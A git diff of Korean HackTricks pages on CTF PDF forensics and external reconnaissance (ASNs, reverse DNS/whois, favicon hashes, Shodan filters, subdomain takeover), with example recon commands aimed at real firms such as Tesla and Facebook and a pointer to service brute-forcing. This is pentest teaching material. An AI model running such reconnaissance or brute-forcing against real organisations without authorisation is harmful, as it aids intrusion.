* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,31 +2,31 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 **PR을 제출**하여 여러분의 해킹 기법을 공유하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 고급스러운 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**할 수 있습니다.\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**를 활용한 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
**자세한 내용은 다음을 참조하세요: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)**
|
||||
**자세한 내용은 여기를 확인하세요:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
|
||||
|
||||
PDF 형식은 복잡성과 데이터를 숨길 수 있는 잠재력으로 알려져 있어 CTF 포렌식 도전 과제의 중점이 됩니다. 이는 일반 텍스트 요소와 이진 객체를 결합할 수 있으며, 압축되거나 암호화될 수 있으며 JavaScript 또는 Flash와 같은 언어로 된 스크립트를 포함할 수 있습니다. PDF 구조를 이해하기 위해 Didier Stevens의 [입문 자료](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/)나 텍스트 편집기 또는 Origami와 같은 PDF 전용 편집기와 같은 도구를 사용할 수 있습니다.
|
||||
PDF 형식은 데이터를 숨기는 데 있어 복잡성과 잠재력으로 알려져 있어 CTF 포렌식 도전 과제의 중심이 됩니다. 이는 이진 객체와 함께 평문 요소를 결합하며, 압축되거나 암호화된 이진 객체를 포함할 수 있으며, JavaScript 또는 Flash와 같은 언어로 된 스크립트를 포함할 수 있습니다. PDF 구조를 이해하기 위해 Didier Stevens의 [입문 자료](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/)를 참조하거나 Origami와 같은 텍스트 편집기 또는 PDF 전용 편집기와 같은 도구를 사용할 수 있습니다.
|
||||
|
||||
PDF의 깊은 탐색 또는 조작을 위해 [qpdf](https://github.com/qpdf/qpdf)와 [Origami](https://github.com/mobmewireless/origami-pdf)와 같은 도구를 사용할 수 있습니다. PDF 내에 숨겨진 데이터는 다음과 같이 숨겨질 수 있습니다:
|
||||
PDF의 심층적인 탐색 또는 조작을 위해 [qpdf](https://github.com/qpdf/qpdf) 및 [Origami](https://github.com/mobmewireless/origami-pdf)와 같은 도구를 사용할 수 있습니다. PDF 내의 숨겨진 데이터는 다음 위치에 숨겨질 수 있습니다:
|
||||
|
||||
* 보이지 않는 레이어
|
||||
* Adobe의 XMP 메타데이터 형식
|
||||
|
@ -35,18 +35,18 @@ PDF의 깊은 탐색 또는 조작을 위해 [qpdf](https://github.com/qpdf/qpdf
|
|||
* 이미지 뒤에 있는 텍스트 또는 이미지와 겹치는 텍스트
|
||||
* 표시되지 않는 주석
|
||||
|
||||
사용자 정의 PDF 분석을 위해 [PeepDF](https://github.com/jesparza/peepdf)와 같은 Python 라이브러리를 사용하여 맞춤형 파싱 스크립트를 작성할 수 있습니다. 또한 PDF의 숨겨진 데이터 저장 가능성은 NSA의 PDF 위험 및 대응책 가이드와 같은 리소스가 여전히 가치 있는 통찰력을 제공합니다. 가이드의 [사본](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf)과 Ange Albertini의 [PDF 형식 트릭](https://github.com/corkami/docs/blob/master/PDF/PDF.md) 컬렉션은 이 주제에 대한 추가 독서 자료를 제공할 수 있습니다.
|
||||
사용자 정의 PDF 분석을 위해 [PeepDF](https://github.com/jesparza/peepdf)와 같은 Python 라이브러리를 사용하여 맞춤형 구문 분석 스크립트를 작성할 수 있습니다. 또한 PDF의 숨겨진 데이터 저장 가능성이 매우 크기 때문에 NSA의 PDF 위험 및 대책 가이드와 같은 자원은 원래 위치에서 더 이상 호스팅되지 않지만 가치 있는 통찰을 제공합니다. Ange Albertini의 [가이드 사본](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) 및 [PDF 형식 요령](https://github.com/corkami/docs/blob/master/PDF/PDF.md) 컬렉션은 해당 주제에 대한 추가 독서 자료를 제공할 수 있습니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 **PR을 제출**하여 여러분의 해킹 기법을 공유하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,17 +6,17 @@
|
|||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 팁을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* 여러분의 해킹 기술을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중입니다!** (_유창한 폴란드어 필수_).
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중**입니다! (_유창한 폴란드어 필수_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -27,15 +27,15 @@ HackTricks를 지원하는 다른 방법:
|
|||
이 단계의 목표는 **주요 회사가 소유한 회사** 및 이러한 회사의 **모든 자산**을 획득하는 것입니다. 이를 위해 우리는 다음을 수행할 것입니다:
|
||||
|
||||
1. 주요 회사의 인수를 찾아내어, 이를 통해 범위 내에 있는 회사를 얻을 것입니다.
|
||||
2. 각 회사의 **ASN(있는 경우)**을 찾아, 각 회사가 소유한 **IP 범위**를 얻을 것입니다.
|
||||
3. 다른 항목(조직 이름, 도메인 등)을 검색하기 위해 역 whois 조회를 사용하여 첫 번째 항목과 관련된 항목을 찾을 것입니다(이는 재귀적으로 수행될 수 있음).
|
||||
4. 다른 기술(예: shodan `org` 및 `ssl` 필터)을 사용하여 다른 자산을 검색할 것입니다(`ssl` 트릭은 재귀적으로 수행될 수 있음).
|
||||
2. 각 회사의 **ASN**을 찾아, 각 회사가 소유한 **IP 범위**를 얻을 것입니다.
|
||||
3. 다른 항목(조직 이름, 도메인 등)을 검색하기 위해 역 whois 조회를 사용하여 첫 번째 항목과 관련된 항목을 검색할 것입니다 (이는 재귀적으로 수행할 수 있음).
|
||||
4. 다른 기술(예: shodan `org` 및 `ssl` 필터)을 사용하여 다른 자산을 검색할 것입니다 (`ssl` 트릭은 재귀적으로 수행할 수 있음).
|
||||
|
||||
### **인수**
|
||||
|
||||
우선, **주요 회사가 소유한 다른 회사를 알아야** 합니다.\
|
||||
[https://www.crunchbase.com/](https://www.crunchbase.com)를 방문하여 **주요 회사**를 **검색**하고 "**인수**"를 **클릭**할 수 있습니다. 거기에서 주요 회사가 인수한 다른 회사를 볼 수 있습니다.\
|
||||
다른 옵션은 주요 회사의 위키피디아 페이지를 방문하여 **인수**를 검색하는 것입니다.
|
||||
우선, **주요 회사가 소유한 다른 회사**를 알아야 합니다.\
|
||||
[https://www.crunchbase.com/](https://www.crunchbase.com)를 방문하여 **주요 회사**를 검색하고 "**인수**"를 클릭하는 것이 하나의 옵션입니다. 거기서 주요 회사가 인수한 다른 회사를 볼 수 있습니다.\
|
||||
다른 옵션은 주요 회사의 **위키피디아** 페이지를 방문하고 **인수**를 검색하는 것입니다.
|
||||
|
||||
> 이 시점에서 범위 내에 있는 모든 회사를 알아야 합니다. 이제 그들의 자산을 찾는 방법을 알아봅시다.
|
||||
|
||||
|
@ -44,15 +44,15 @@ HackTricks를 지원하는 다른 방법:
|
|||
자율 시스템 번호(**ASN**)는 **인터넷 할당 번호 기관(IANA)**에 의해 **자율 시스템(AS)**에 할당된 **고유한 번호**입니다.\
|
||||
**AS**는 외부 네트워크에 액세스하기 위한 명확히 정의된 정책을 가진 **IP 주소 블록**으로 구성되며 단일 조직에 의해 관리되지만 여러 운영자로 구성될 수 있습니다.
|
||||
|
||||
**회사가 할당한 ASN이 있는지** 찾아 해당 **IP 범위**를 찾는 것이 흥미로울 것입니다. **범위 내의 모든 호스트에 대한 취약성 테스트**를 수행하고 이러한 IP 내의 도메인을 찾는 것이 유익할 것입니다.\
|
||||
**회사가 할당한 ASN**을 찾아 해당 **IP 범위**를 찾는 것이 흥미로울 수 있습니다. **범위 내의 모든 호스트에 대한 취약성 테스트**를 수행하고 이러한 IP 내의 도메인을 찾는 것이 유용할 것입니다.\
|
||||
[**https://bgp.he.net/**](https://bgp.he.net)에서 회사 **이름**, **IP**, 또는 **도메인**으로 검색할 수 있습니다.\
|
||||
**회사의 지역에 따라 이 링크가 더 많은 데이터를 수집하는 데 유용할 수 있습니다:** [**AFRINIC**](https://www.afrinic.net) **(아프리카),** [**Arin**](https://www.arin.net/about/welcome/region/)**(북아메리카),** [**APNIC**](https://www.apnic.net) **(아시아),** [**LACNIC**](https://www.lacnic.net) **(라틴 아메리카),** [**RIPE NCC**](https://www.ripe.net) **(유럽). 그러나 아마도 모든** 유용한 정보 **(IP 범위 및 Whois)**가 이미 첫 번째 링크에 나와 있을 것입니다.
|
||||
**회사의 지역에 따라 이 링크가 더 많은 데이터를 수집하는 데 유용할 수 있습니다:** [**AFRINIC**](https://www.afrinic.net) **(아프리카),** [**Arin**](https://www.arin.net/about/welcome/region/)**(북미),** [**APNIC**](https://www.apnic.net) **(아시아),** [**LACNIC**](https://www.lacnic.net) **(중남미),** [**RIPE NCC**](https://www.ripe.net) **(유럽). 그러나 아마도 모든** 유용한 정보 **(IP 범위 및 Whois)**가 이미 첫 번째 링크에 나와 있을 것입니다.
|
||||
```bash
|
||||
#You can try "automate" this with amass, but it's not very recommended
|
||||
amass intel -org tesla
|
||||
amass intel -asn 8911,50313,394161
|
||||
```
|
||||
또한, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**은** 하위 도메인 열거를 자동으로 수행하며 스캔 마지막에 ASNs를 집계 및 요약합니다.
|
||||
또한, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**은** 하위 도메인 열거를 자동으로 수행하며 스캔 종료 시 ASNs를 집계 및 요약합니다.
|
||||
```bash
|
||||
bbot -t tesla.com -f subdomain-enum
|
||||
...
|
||||
|
@ -69,38 +69,32 @@ bbot -t tesla.com -f subdomain-enum
|
|||
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
|
||||
|
||||
```
|
||||
조직의 IP 범위를 찾을 수도 있습니다. [http://asnlookup.com/](http://asnlookup.com) (무료 API 제공).\
|
||||
도메인의 IP 및 ASN을 찾을 수도 있습니다. [http://ipv4info.com/](http://ipv4info.com).
|
||||
조직의 IP 범위를 찾을 수도 있습니다. 또한 [http://asnlookup.com/](http://asnlookup.com) (무료 API 포함)를 사용할 수도 있습니다. 도메인의 IP 및 ASN을 찾을 수도 있습니다. [http://ipv4info.com/](http://ipv4info.com).
|
||||
|
||||
### **취약점 찾기**
|
||||
|
||||
이 시점에서 **범위 내의 모든 자산을 알고 있으므로**, 허용된다면 모든 호스트에 대해 **취약점 스캐너**(Nessus, OpenVAS)를 실행할 수 있습니다.\
|
||||
또한, [**포트 스캔**](../pentesting-network/#discovering-hosts-from-the-outside)을 실행하거나 shodan과 같은 서비스를 사용하여 **열린 포트를 찾을 수 있으며 발견한 내용에 따라** 이 책에서 여러 가능한 서비스를 펜테스트하는 방법을 살펴보아야 합니다.\
|
||||
**또한, 기본 사용자 이름 및** 암호 목록을 준비하고 [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray)를 사용하여 서비스를 브루트포스할 수도 있습니다.
|
||||
이 시점에서 **범위 내의 모든 자산을 알고 있습니다**. 허용된다면 모든 호스트에 대해 **취약점 스캐너**(Nessus, OpenVAS)를 실행할 수 있습니다. 또한 [**포트 스캔**](../pentesting-network/#discovering-hosts-from-the-outside)을 실행하거나 shodan과 같은 서비스를 사용하여 **열린 포트를 찾을 수 있으며 발견한 내용에 따라** 이 책에서 여러 가능한 서비스를 펜테스트하는 방법을 살펴보아야 합니다. **또한, 기본 사용자 이름과 암호 목록을 준비하고 [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray)를 사용하여 서비스를 브루트포스할 수도 있습니다.**
|
||||
|
||||
## 도메인
|
||||
|
||||
> 우리는 범위 내의 모든 회사와 그 자산을 알고 있으며, 범위 내의 도메인을 찾는 시간입니다.
|
||||
> 우리는 범위 내의 모든 회사와 그 자산을 알고 있습니다. 이제 범위 내의 도메인을 찾아야 합니다.
|
||||
|
||||
_다음으로 제안된 기술을 사용하여 하위 도메인을 찾을 수도 있으며, 이 정보를 과소평가해서는 안 됨을 유의하십시오._
|
||||
_다음으로 제안된 기술을 사용하여 하위 도메인을 찾을 수도 있으며 이 정보를 과소평가해서는 안 됩니다._
|
||||
|
||||
먼저 각 회사의 **주요 도메인**(들)을 찾아야 합니다. 예를 들어, _Tesla Inc._의 경우 _tesla.com_이 될 것입니다.
|
||||
|
||||
### **Reverse DNS**
|
||||
|
||||
도메인의 IP 범위를 모두 찾았다면 해당 **IP에 대한 역 DNS 조회**를 시도하여 범위 내의 더 많은 도메인을 찾을 수 있습니다. 피해자의 DNS 서버 또는 잘 알려진 DNS 서버(1.1.1.1, 8.8.8.8)를 사용해보십시오.
|
||||
도메인의 IP 범위를 모두 찾았다면 해당 **IP에 대한 역 DNS 조회**를 수행하여 **범위 내의 더 많은 도메인을 찾아보세요**. 피해자의 DNS 서버나 잘 알려진 DNS 서버(1.1.1.1, 8.8.8.8)를 사용해보세요.
|
||||
```bash
|
||||
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
||||
dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
|
||||
dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
||||
```
|
||||
이 작업을 수행하려면 관리자가 수동으로 PTR을 활성화해야 합니다.\
|
||||
이 정보를 얻기 위해 온라인 도구를 사용할 수도 있습니다: [http://ptrarchive.com/](http://ptrarchive.com)
|
||||
|
||||
### **역 Whois (루프)**
|
||||
|
||||
**whois** 내부에서는 **조직 이름**, **주소**, **이메일**, 전화번호와 같은 **흥미로운 정보**를 많이 찾을 수 있습니다. 그러나 더 흥미로운 것은 **회사와 관련된 더 많은 자산을 찾을 수 있다는 것**입니다. 이를 위해 **해당 필드 중 하나로 역 Whois 조회를 수행**할 수 있습니다(예: 동일한 이메일이 나타나는 다른 whois 레지스트리).\
|
||||
**Whois** 내부에는 **조직 이름**, **주소**, **이메일**, 전화번호 등과 같은 많은 흥미로운 **정보**가 포함되어 있습니다. 그러나 더 흥미로운 것은 **회사와 관련된 더 많은 자산을 찾을 수 있다는 것**입니다. 이를 위해 해당 필드 중 하나로 **역 Whois 조회를 수행**하면 됩니다(예: 동일한 이메일이 나타나는 다른 whois 레지스트리).\
|
||||
다음과 같은 온라인 도구를 사용할 수 있습니다:
|
||||
|
||||
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **무료**
|
||||
|
@ -121,7 +115,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
|||
2개의 다른 페이지에서 **동일한 트래커의 동일한 ID**를 찾으면 **두 페이지가 동일한 팀에 의해 관리된다고 가정**할 수 있습니다.\
|
||||
예를 들어, 여러 페이지에서 **동일한 Google Analytics ID** 또는 **동일한 Adsense ID**를 볼 때입니다.
|
||||
|
||||
이러한 트래커 및 기타 정보로 검색할 수 있는 페이지 및 도구가 있습니다:
|
||||
이러한 트래커 및 기타 정보로 검색할 수 있는 몇 가지 페이지 및 도구가 있습니다:
|
||||
|
||||
* [**Udon**](https://github.com/dhn/udon)
|
||||
* [**BuiltWith**](https://builtwith.com)
|
||||
|
@ -131,7 +125,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
|||
|
||||
### **파비콘**
|
||||
|
||||
우리의 대상과 관련된 도메인 및 하위 도메인을 찾기 위해 동일한 파비콘 아이콘 해시를 찾을 수 있다는 사실을 알고 계셨습니까? 이것이 바로 [@m4ll0k2](https://twitter.com/m4ll0k2)가 만든 [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) 도구가 하는 일입니다. 사용 방법은 다음과 같습니다:
|
||||
우리의 대상과 관련된 도메인 및 하위 도메인을 찾을 수 있다는 것을 알고 계셨습니까? 동일한 파비콘 아이콘 해시를 찾아주는 것이 바로 [@m4ll0k2](https://twitter.com/m4ll0k2)가 만든 [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) 도구입니다. 사용 방법은 다음과 같습니다:
|
||||
```bash
|
||||
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
|
||||
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||
|
@ -140,7 +134,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
|||
|
||||
간단히 말해서, favihash를 사용하면 대상과 동일한 파비콘 아이콘 해시를 가진 도메인을 발견할 수 있습니다.
|
||||
|
||||
또한, [**이 블로그 게시물**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139)에서 설명한대로 파비콘 해시를 사용하여 기술을 검색할 수도 있습니다. 즉, 취약한 버전의 웹 기술의 파비콘 해시를 알고 있다면 shodan에서 검색하여 **더 많은 취약한 위치를 찾을 수 있습니다**:
|
||||
또한, [**이 블로그 게시물**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139)에서 설명한대로 파비콘 해시를 사용하여 기술을 검색할 수도 있습니다. 즉, 취약한 버전의 웹 기술의 파비콘 해시를 알고 있다면 shodan에서 검색하여 **더 많은 취약한 위치를 찾을 수** 있습니다.
|
||||
```bash
|
||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||
```
|
||||
|
@ -170,19 +164,17 @@ return fhash
|
|||
```
|
||||
### 외 passvie Takeover
|
||||
|
||||
사람들이 하위 도메인을 클라우드 제공업체에 속한 IP에 할당하고 어느 시점에서는 해당 IP 주소를 잃지만 DNS 레코드를 제거하는 것을 잊는 것이 흔합니다. 따라서 클라우드(예: Digital Ocean)에 VM을 생성하면 실제로 일부 하위 도메인을 **인수**할 수 있습니다.
|
||||
클라우드 제공업체에 속하는 IP에 하위 도메인을 할당하는 것이 일반적이며 어느 시점에서는 해당 IP 주소를 잃어버리지만 DNS 레코드를 제거하는 것을 잊는 경우가 있습니다. 따라서 클라우드(예: Digital Ocean)에서 VM을 생성하면 실제로 일부 하위 도메인을 **인수**할 수 있습니다.
|
||||
|
||||
[**이 게시물**](https://kmsec.uk/blog/passive-takeover/)은 이에 대한 이야기를 설명하고 **DigitalOcean에서 VM을 생성**하고 새로운 기계의 **IPv4**를 **얻은 다음 Virustotal에서 해당 기계를 가리키는 하위 도메인 레코드를 검색**하는 스크립트를 제안합니다.
|
||||
[**이 게시물**](https://kmsec.uk/blog/passive-takeover/)은 이에 대한 내용을 설명하고 **DigitalOcean에서 VM을 생성**하고 새로운 기계의 **IPv4**를 **얻은 다음 Virustotal에서 해당 기계를 가리키는 하위 도메인 레코드를 검색**하는 스크립트를 제안합니다.
|
||||
|
||||
### **기타 방법**
|
||||
|
||||
**새로운 도메인을 발견할 때마다이 기술을 사용할 수 있다는 것을 유의하십시오.**
|
||||
**샤돈**
|
||||
|
||||
**Shodan**
|
||||
이미 IP 공간을 소유한 조직의 이름을 알고 있습니다. 이 데이터를 사용하여 샤돈에서 `org:"Tesla, Inc."`를 사용하여 검색할 수 있습니다. TLS 인증서에서 새로운 예상치 못한 도메인을 찾으십시오.
|
||||
|
||||
이미 IP 공간을 소유한 조직의 이름을 알고 있습니다. 이 데이터로 Shodan에서 `org:"Tesla, Inc."`를 사용하여 검색할 수 있습니다. TLS 인증서에서 새로운 예상치 못한 도메인을 찾으십시오.
|
||||
|
||||
주요 웹 페이지의 **TLS 인증서**에 액세스하여 **조직 이름**을 얻은 다음 **shodan**에서 알려진 모든 웹 페이지의 **TLS 인증서**에서 해당 이름을 검색할 수 있습니다. 필터 : `ssl:"Tesla Motors"` 또는 [**sslsearch**](https://github.com/HarshVaragiya/sslsearch)와 같은 도구를 사용할 수 있습니다.
|
||||
주요 웹 페이지의 **TLS 인증서**에 액세스하여 **조직 이름**을 얻은 다음, 해당 이름을 사용하여 **shodan**에서 알려진 모든 웹 페이지의 **TLS 인증서**에서 검색하십시오. 필터 : `ssl:"Tesla Motors"` 또는 [**sslsearch**](https://github.com/HarshVaragiya/sslsearch)와 같은 도구를 사용할 수 있습니다.
|
||||
|
||||
**Assetfinder**
|
||||
|
||||
|
@ -190,13 +182,13 @@ return fhash
|
|||
|
||||
### **취약점 찾기**
|
||||
|
||||
[도메인 인수](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)를 확인하십시오. 어떤 회사가 **도메인을 사용**하지만 **소유권을 잃었을 수도** 있습니다. 저렴하다면 등록하고 회사에 알리십시오.
|
||||
[도메인 인수](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)를 확인하십시오. 어떤 회사가 **도메인을 사용**하지만 **소유권을 잃었을 수도** 있습니다. 저렴하다면 등록하고 해당 회사에 알려주십시오.
|
||||
|
||||
자산 발견에서 찾은 것과 다른 IP를 가진 **도메인을 찾으면** 기본 취약점 스캔(네스러스 또는 OpenVAS 사용) 및 **nmap/masscan/shodan**으로 [**포트 스캔**](../pentesting-network/#discovering-hosts-from-the-outside)을 수행해야 합니다. 실행 중인 서비스에 따라 **이 책에서 해당 서비스를 "공격"하는 데 사용할 수 있는 몇 가지 요령을 찾을 수 있습니다.**\
|
||||
_도메인이 클라이언트가 제어하지 않는 IP 내에 호스팅되는 경우가 있으므로 범위에 포함되지 않을 수 있습니다. 주의하십시오._
|
||||
자산 발견에서 찾은 IP와 다른 **IP가 있는 도메인**을 찾으면 **기본 취약점 스캔**(Nessus 또는 OpenVAS 사용) 및 **nmap/masscan/shodan**을 사용한 [**포트 스캔**](../pentesting-network/#discovering-hosts-from-the-outside)을 수행해야 합니다. 실행 중인 서비스에 따라 **이 책에서 해당 서비스를 "공격"하는 데 사용할 수 있는 몇 가지 요령을 찾을 수 있습니다**.\
|
||||
_도메인이 때로는 클라이언트가 제어하지 않는 IP 내에 호스팅되므로 범위에 포함되지 않을 수 있습니다. 주의하세요._
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
